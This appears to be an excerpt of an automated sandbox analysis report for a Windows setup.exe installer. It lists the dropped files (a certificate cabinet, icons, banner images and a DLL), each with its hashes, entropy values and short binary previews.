File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1121829603338513
Encrypted:	false
SSDEEP:	6:kKF/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:liDnLNkPlE99SNxAhUe/3
MD5:	1A7E003CBAFD58EEBEFF13A869286CCF
SHA1:	ACC52B68ADD41D3BEDA9523BFEBE81AA3B2753F2
SHA-256:	4EB34746A6C05E77813250696E5460631B09BF7F059F75B413CFF7416E72EBD1
SHA-512:	CD5CB5ECE3273F7B3C08900F770D19608128FB4318D0ABB086256AE1F0DB50A3C4DC2991F7D9C650D739A7509C2FB2BB4A18C36A1B86DE0CC6256CF8CF9E52A8
Malicious:	false
Preview:	p...... ........rd..d)..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\New

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	2.9169468593135157
Encrypted:	false
SSDEEP:	96:+f+OFx/DgstjfDaf///////aorGbaX8PSccl1q12xfnW1orsKc:+WqDgOQ///////aoZsP+/qAVnWursKc
MD5:	1E80DE80CEFEE55D7CFDA0DF2EDCF3B2
SHA1:	6E567D732354BBB21F9A57BBB72730C497F35380
SHA-256:	4E64F4E40D8CBFF082B37186C831AF4B49E3131C62C00A0CF53E0A6E7E24AC2B
SHA-512:	5EFEA023B18FFD5B87A19837BA2C72C179B55B7C3071B773A032C63D7268DBE25E2902AE8B111AD83A4F005346B378C7A75033ADAEE90805BCB4FEC2822E54C0
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\Up

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	2.7901346596966383
Encrypted:	false
SSDEEP:	192:+n5lkX/1//AJffffPTb6ylHJxnSfFN5pM2C:+5lkX/K
MD5:	FD64F54DB4CBF736A6FC0D7049F5991E
SHA1:	24D42FB471AAA7BCD54D7CCB36480F5ADD9B31D4
SHA-256:	C269353D19D50E2688DB102FEF8226CA492DB17133043D7EB5420EE8542D571C
SHA-512:	EC622AFAB084016F144864967A41D647E813282CB058F0F11E203865C0C175BA182E325A6D5164580FF00757C8475B61DE89CCC8E892E1B030E51B03AD4EAFB4
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\aischeduler2.dll

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	211776
Entropy (8bit):	6.545789465666009
Encrypted:	false
SSDEEP:	3072:APFAhETm5/VCZCuRspcZ2XcIQISCXOtwypRnWmomS7/Br5vEgn/Zr/e:bim5/VJuRLXDCXObptI/p5vD12
MD5:	6CE8F1D957A3545827ABA750E2087548
SHA1:	4EF30873A3A4CD2138320A3AECF9C0235F2993A9
SHA-256:	6DE3B9B00849AB2398B36446B16E7A435CDBF8610B31FFD36E381636DC33E3A8
SHA-512:	030E400A759B4F4B972D92BFCA8771A90BD87DE8C93B8BAD99B814563D52CC97703A0C21DFAA4D022D2111CCD77F9144D028F2016C66F3429E59589A8B390DB9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.R...<...<...<...?.u.<...9...<..8.n.<..?.l.<...8.i.<..9.K.<...:.~.<...=.n.<...=...<.f.5.g.<.f.<.~.<.f..~.<....~.<.f.>.~.<.Rich..<.................PE..L....=.d.........."!...$.0...........2.......@...............................0............@.................................H...x.......x...............@=......x......p............................E..@............@..........@....................text...]/.......0.................. ..`.rdata.......@.......4..............@..@.data...............................@....rsrc...x...........................@..@.reloc..x........ ..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\banner.jpg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 500x59, components 3
Category:	dropped
Size (bytes):	4502
Entropy (8bit):	7.593476384016539
Encrypted:	false
SSDEEP:	96:gf2mCSVa8l5M3QXr1yFk1Erk/Sp3ErJE97KT6Avg+y5rls/Xx:I88oAXQk1Erk/Sp3ErcAvBy/wh
MD5:	D5A55A78CD38F45256807C7851619B7D
SHA1:	9D8269120D1D096E9AB0192348F3B8F81F5F73D9
SHA-256:	BE83C8592906FD9651634B0823A2F45ABE96AAE082674568944C639B5B4A95DC
SHA-512:	959E7410E3006CFEF9D14315E8741E34B6E81C4F9160C5D66F3ABD77CE72F55F907AB3A0E500780B5C0E0E017E8639F135CC258976B4AB4B9D1AAED6242CE9F1
Malicious:	false
Preview:	......JFIF..............Ducky.......<.....}http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="3F35745A47965A573D5A396B9C00A40A" xmpMM:DocumentID="xmp.did:12B5C5D7C43111EB81D1C3E968FDC210" xmpMM:InstanceID="xmp.iid:12B5C5D6C43111EB81D1C3E968FDC210" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:268ff5cb-d2ed-6d49-9e2f-bcda4eb9e534" stRef:documentID="adobe:docid:photoshop:00a5e90d-efab-ed45-b550-e54ac9ab0589"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C........................................................ "..".

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\banner.scale125.jpg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 625x74, components 3
Category:	dropped
Size (bytes):	5714
Entropy (8bit):	7.427515682473523
Encrypted:	false
SSDEEP:	96:g8h6ZVa8lNgYZMlOIdrPf1XkgrieyIGkJcFm2qkC:Z18MYmQ27lDGLLqkC
MD5:	479576299075C0B85E0DE2AFE4040C25
SHA1:	3FF55DD79D8E4CAFA2F8755C90D14524DC75C8EE
SHA-256:	3C081097DCA98557B27C1949496CEDC94F1B8F6A952D6B106E312E0239BC5B21
SHA-512:	32C30E0B8AD608639182F5BE3A4064B15D35975D7E920E9A0B020F9F0CF32C81B6CD33E63240B828800AD2452E3A28330666C3D584ECEB1D45C2DD25E2F0E19A
Malicious:	false
Preview:	......JFIF..............Ducky.......<.....}http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="3F35745A47965A573D5A396B9C00A40A" xmpMM:DocumentID="xmp.did:4307CEF6C43611EBAC93D939A9EF7781" xmpMM:InstanceID="xmp.iid:4307CEF5C43611EBAC93D939A9EF7781" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:527f7179-62ac-ab45-8182-1dce9a7722ea" stRef:documentID="adobe:docid:photoshop:ca709772-3d5f-cc4c-9d43-6e0acd2d058f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C........................................................ "..".

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\banner.scale150.jpg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 938x111, components 3
Category:	dropped
Size (bytes):	9319
Entropy (8bit):	7.352172078179043
Encrypted:	false
SSDEEP:	192:Pp8Szx7Uw+7PL209joqlIZ6remeV81MCoOLqTrz:Pp8WJj8L209rKyp3qVOLqfz
MD5:	A766139160C43AF73563ADBD3A38BD5F
SHA1:	37A3817C61ED5516B6BBFE4D6CC458E166CE4D0A
SHA-256:	0416B1888148611C4716CBBE253C8F73F075E4F926C3CC4F93D38D230EF7B4A1
SHA-512:	B358D75846A7DEDB32640887C2DD45EDFB1A0D9A4A8735E6446E101FC1778A0E5625B40C3108AFF1A79BFFD2AA92175BD5A75BF70D1F3B30582033B5BB68FE63
Malicious:	false
Preview:	......JFIF..............Ducky.......<.....}http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="3F35745A47965A573D5A396B9C00A40A" xmpMM:DocumentID="xmp.did:754F24FEC43611EBA0F3E80E8A722147" xmpMM:InstanceID="xmp.iid:754F24FDC43611EBA0F3E80E8A722147" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9ed5958a-829f-8d41-819e-bb85dbea462c" stRef:documentID="adobe:docid:photoshop:69d85e66-65a5-be4b-a47a-755d1e30ff1e"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C........................................................ "..".

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\banner.scale200.jpg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1875x222, components 3
Category:	dropped
Size (bytes):	22946
Entropy (8bit):	6.920504108797511
Encrypted:	false
SSDEEP:	384:I8gCPeBbgnF6tldimQ4PWuug1S2iwoIy/SPO7sfvzoFVmft7LHlwor:I83WBbQF6rUg1S2iww/Afv0FVml7ior
MD5:	38AD4B10AC19A240D93E04D383822381
SHA1:	4AF7AD089328DCCCDDA6886A94D7E7CD638F359F
SHA-256:	033171062CD540EC84CE4998719D0DCAE564AA69646D437DC4DC4CD8EFD0F6FA
SHA-512:	6FAEDB94FAB28C896B95E36C6A2C8E9B42BC41AB1650F2A6E2175B70511C0881448796F62760FFB3DD49B95048C6C45FFD68C73225AF5F2EC9A1003C59E6984E
Malicious:	false
Preview:	......JFIF..............Ducky.......<.....}http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="3F35745A47965A573D5A396B9C00A40A" xmpMM:DocumentID="xmp.did:8DC6B99CC43611EBB055D3E33959867C" xmpMM:InstanceID="xmp.iid:8DC6B99BC43611EBB055D3E33959867C" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6dc45cf6-c34f-e34b-a9ec-e44001e82373" stRef:documentID="adobe:docid:photoshop:08f061d6-4477-2940-952a-017ed102d655"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C........................................................ "..".

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\banner.svg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	28870
Entropy (8bit):	4.29697375737841
Encrypted:	false
SSDEEP:	768:0PQxoVfMd6xviLJGSinZ1IHVRe0lnh/dbsX5JS:0Ja64sSQZ1IAJY
MD5:	A92209231C43A871925D546C6DC5C244
SHA1:	15B5F39938FF9718EEF83862F4EE1F6E7272E1D3
SHA-256:	865B031B2C344B5558F7712E1424251631247C86A7D835AE263AD948016A35A0
SHA-512:	B6C817AECA982C1FD11BCAF7D59E20E3E0BE34FBE8E37AB8223FD240A3E96135218BFCA6379F966FF3A22AF795FFBBF5A94FF0FB0219A19D1FDDA4321EDA2659
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 25.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="Layer_8" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 500 59" enable-background="new 0 0 500 59" xml:space="preserve">..<rect x="-0.3" display="none" fill="#FFFFFF" width="500.4" height="59"/>..<linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="452.55" y1="72.994" x2="452.55" y2="1.6686" gradientTransform="matrix(1 0 0 -1 0 60)">...<stop offset="0.0017" style="stop-color:#06409A"/>...<stop offset="0.1268" style="stop-color:#133F96"/>...<stop offset="0.358" style="stop-color:#353D8C"/>...<stop offset="0.6699" style="stop-color:#6C397C"/>...<stop offset="1" style="stop-color:#AE3569"/>..</linearGradient>..<rect x="405.1" fill="url(#SVGID_1_)" width="94.9" height="59"/>..<g opacity="0.15">.......<linearGradient id="SVGID_2_" gradientUnits="userSpaceO

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\cmdlinkarrow

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 16 colors, 4 bits/pixel, 16x16, 8 bits/pixel
Category:	dropped
Size (bytes):	2862
Entropy (8bit):	3.160430651939096
Encrypted:	false
SSDEEP:	48:QFFZ+f+zd+kHeNTM9/+Xz++++++++YWWS0i6I:QFFEw4Xc+D++++++++ypi9
MD5:	983358CE03817F1CA404BEFBE1E4D96A
SHA1:	75CE6CE80606BBB052DD35351ED95435892BAF8D
SHA-256:	7F0121322785C107BFDFE343E49F06C604C719BAFF849D07B6E099675D173961
SHA-512:	BDEE6E81A9C15AC23684C9F654D11CC0DB683774367401AA2C240D57751534B1E5A179FE4042286402B6030467DB82EEDBF0586C427FAA9B29BD5EF74B807F3E
Malicious:	false
Preview:	..............(...6...........h...^......... .h.......(....... .........................................................................................................................................................wv....."""""o.."""""o..www""......"/.....""......"/......r.........................?...........................................?......(....... ..................................................."..... .". .6.-.9.;.<.;.D.3.,...4...9...O.,.Q.$.M.2.S.:.\.1.U.$._.1.F.G.I.A.`.@.w.q...\|...q...{.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\completi

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.57715132031736
Encrypted:	false
SSDEEP:	48:+728OQ6YxsPq7v8N+2RdHKb80000000000000000000000000MqfqF2Nnnu8jgLe:+72LQWPq7vEFXVCVKuM4expgz
MD5:	C23AF89757665BC0386FD798A61B2112
SHA1:	FD4958B62F83EDF6774FCF7C691CC3270B82AA0B
SHA-256:	031ED0378F819926D7B5B2C6C9367A0FB1CBAE40E1A3959E2652FE30A47D52F2
SHA-512:	5727ABA9CD972C8F25B31F2A8E698CA2CAE640427A62A0EA4092FD426B907D39BAF58B8724B6E37965E76BE90EAA329F7D4A7EE4688922ED796D54E4377FC8CC
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%....................................................................................................................................................................................................................................................................................................x...t..f..f..t.....x...".......................................................................................................................................................d................................d..............................................................................................................................................N.k................................................j....Z..............................................................................................................................o.d..........................................................d...s......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\custicon

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.2912578217465134
Encrypted:	false
SSDEEP:	48:+728OQ6UfPsw8PX4E0000000000000000000000000rggggj88jgLiqYTqfI0008:+72LQpPswSXtA4vJbvi
MD5:	BE6D2F48AA6634FB2101C273C798D4D9
SHA1:	21D1B2E7BCA49FE727E1C3A505E28E609EC53CC7
SHA-256:	0E22BC2BF7184DFDB55223A11439304A453FB3574E3C9034A6497AF405C628EF
SHA-512:	8BC2C9789640ED0E6F266FDC27647F7CE510EFE06ED1225BB8510F082E6C009E7911AEC38F21DE405FA68A418513DA2DC541EDB53F4FA6887603596EBD29F463
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%....................................................................................................................................................................................................................................................................................................x...t..f..f..t.....x...".......................................................................................................................................................d................................d..............................................................................................................................................N.k................................................j....Z..............................................................................................................................o.d..........................................................d...s......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\dialog.jpg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 500x316, components 3
Category:	dropped
Size (bytes):	12626
Entropy (8bit):	7.450344831364431
Encrypted:	false
SSDEEP:	192:zBi8rcWUMevBUahRXMHd0q3vkf6kx2DJIQ4EALOCwTx5D+CM96qdGi131:48IzMiBUaEHdp3vkCXuQ4pnH1dGiz
MD5:	5F6253CFF5A8B031BFB3B161079D0D86
SHA1:	7645B13610583FB67247C74CF5AF08FF848079E7
SHA-256:	36D9BAB35D1E4B50045BF902F5D42B6F865488C75F6E60FC00A6CD6F69034AB0
SHA-512:	D1FDC364BEDF931512000FBF05E854D5ACECCB48ABB9EC49E68476A5DC2907267490290D92ACBB267FFB7BDBA9B7A1C88F1EB77830CF953443F4624995DABDC3
Malicious:	false
Preview:	......JFIF..............Ducky.......<.....}http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="F6E435DCD16DBE3081E67A9BF3EA6B5E" xmpMM:DocumentID="xmp.did:FEF08EB1C43011EB94B9F7A7E9A94910" xmpMM:InstanceID="xmp.iid:FEF08EB0C43011EB94B9F7A7E9A94910" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e614fedb-25db-5740-b976-753b5fbc3679" stRef:documentID="adobe:docid:photoshop:4c1a3bc8-b220-ab4a-8972-fc04083d2ebd"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C........................................................ "..".

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\dialog.scale125.jpg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 625x395, components 3
Category:	dropped
Size (bytes):	16673
Entropy (8bit):	7.308169831606533
Encrypted:	false
SSDEEP:	384:S8rDbRvc6xM8F3YSzXnN4kjwazD9iV3CUzy3FqI4Oj:S8rDtvc6n1YKN42DUV3i3FKg
MD5:	A6CC6F0799276EC0C0B8704FDC91236B
SHA1:	CC5671B0B3F3CD3E17FB4D9C916A32547090528A
SHA-256:	557059C8C0488F9F9681A16AC5448BA8470321CF40E63526499C5151177D59A7
SHA-512:	A474848F1BA8BE2CF7DEC2E5EE75E6091C9712C42D8F2775000412FF1652D2E9D282602FB3E413BDA01E34FBAF113C4B140715B1AEB48BF9583BA303EECD8969
Malicious:	false
Preview:	......JFIF..............Ducky.......<.....}http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="F6E435DCD16DBE3081E67A9BF3EA6B5E" xmpMM:DocumentID="xmp.did:61B7B381C43711EBA3CAD5AB122A08BF" xmpMM:InstanceID="xmp.iid:61B7B380C43711EBA3CAD5AB122A08BF" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e777c167-6c3b-8b45-ba8b-bf8f7256b6c0" stRef:documentID="adobe:docid:photoshop:84aff0ee-2a1f-f449-9eac-0bf010aafe17"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C........................................................ "..".

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\dialog.scale150.jpg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 938x593, components 3
Category:	dropped
Size (bytes):	27770
Entropy (8bit):	7.0636804814851875
Encrypted:	false
SSDEEP:	768:d8DRDaplr71odDiC/tVJ3htS3qcr97VgiU/:0EjH21nJHS3qc57tE
MD5:	DE300C8B0A317B6E29A47FACFA76A6C0
SHA1:	6576993EE6CF1BDE4845B6303BFF0DA5CB2AE255
SHA-256:	B82327CBF824FDF633C20B13C19A91FAA950F18C580675F2AB49F8CC7BA77FA4
SHA-512:	DE5F39E59210C38126444008623B66612CD9B3226B966D0F90D059C8E85525BEC296D9CFE89AB5A2D89EA884A8FC4D6AD9C96FDECA9F22780E3972B2C81DEEEC
Malicious:	false
Preview:	......JFIF..............Ducky.......<.....}http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="F6E435DCD16DBE3081E67A9BF3EA6B5E" xmpMM:DocumentID="xmp.did:7BE8A297C43711EB8166B4FB14955B7A" xmpMM:InstanceID="xmp.iid:7BE8A296C43711EB8166B4FB14955B7A" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:899e2b57-a43b-d647-9323-41ea3680c438" stRef:documentID="adobe:docid:photoshop:50661c56-e161-034b-aab4-d332a6df85b2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C........................................................ "..".

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\dialog.scale200.jpg

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1875x1185, components 3
Category:	dropped
Size (bytes):	69692
Entropy (8bit):	6.082855384914949
Encrypted:	false
SSDEEP:	1536:Q2gs8VvwWGnkZTwufTZkYAekzvxaYyhzHL:D8V91w+ZnAtjx+zr
MD5:	816C6B957BD8ED6A79DFA6A1EB9C57A1
SHA1:	60036B702CBA91E446039C9432898FDE72E7B00D
SHA-256:	F192D3EC0EC36BDD0614A61851F73714DB8D68900F891760AC30A33C2741D4DD
SHA-512:	9001244C1D54AEBED9B88BE1BFF12FF65BE6A29C1292AE7FA2DE2BBD4D889D81D3344A9C02262DD9B1F70AFA7F84592EF31799E6F2B1F9477154B53B10104A40
Malicious:	false
